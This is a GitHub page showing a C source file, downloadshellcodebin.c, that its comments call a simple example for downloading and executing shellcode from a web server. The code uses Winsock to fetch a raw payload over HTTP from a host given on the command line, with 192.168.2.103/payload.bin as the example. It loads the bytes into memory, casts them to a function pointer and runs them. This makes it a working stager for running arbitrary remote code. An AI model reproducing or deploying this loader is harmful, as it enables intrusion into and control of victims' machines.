Repository navigation
Expand file tree
/
Copy pathdownloadshellcodebin.c
More file actions
72 lines (64 loc) · 1.87 KB
/
Copy pathdownloadshellcodebin.c
File metadata and controls
72 lines (64 loc) · 1.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// simple ex for downloading and executing shellcode with sockets from webserver
// for raw format
// wine gcc -s -m32 downloadshellcodebin.c -lwsock32 -lWs2_32
// call with a.exe http://192.168.2.103/payload.bin
#include "WinSock2.h"
#include "Ws2tcpip.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
int main(int argc, char** argv)
{
struct WSAData* wd = (struct WSAData*)malloc(sizeof(struct WSAData));
if (WSAStartup(MAKEWORD(2, 0), wd))
exit(1);
free(wd);
SOCKET sock;
char c;
int i, j;
char* file;
char* host = argv[1];
struct addrinfo* ai;
struct addrinfo hints;
char buf[512];
if (argc == 3) file = argv[2]; else file = strrchr(argv[1], '/') + 1;
if (strstr(argv[1], "http://") == argv[1]) host += 7;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
sprintf(buf, "GET %s HTTP/1.1\r\n", argv[1]);
*strchr(host, '/') = '\0';
if (i = getaddrinfo(host, "80", &hints, &ai)) exit(1);
sprintf(buf + strlen(buf), "Host: %s\r\n\r\n", host);
sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol);
if (connect(sock, ai->ai_addr, ai->ai_addrlen))
exit(1);
freeaddrinfo(ai);
i = send(sock, buf, strlen(buf), 0);
if (i < strlen(buf) || i == -1) exit(1);
while (strcmp(buf, "\r\n")) {
for (i = 0; strcmp(buf + i - 2, "\r\n"); i++) { recv(sock, buf + i, 1, 0); buf[i + 1] = '\0'; }
if (strstr(buf, "HTTP/") == buf) {
if (strcmp(strchr(buf, ' ') + 1, "200 OK\r\n")) exit(1);
}
if (strstr(buf, "Content-Length:") == buf) {
*strchr(buf, '\r') = '\0';
j = atoi(strchr(buf, ' ') + 1);
}
}
char *sc=(char*)malloc(j * sizeof(char));
for (i = 0; i < j; i++)
{
recv(sock, &c, 1, 0);
sc[i]=c;
//printf("%c",c);
}
closesocket(sock);
WSACleanup();
int (*funct)();
funct = (int (*)()) sc;
(int)(*funct)();
return 0;
}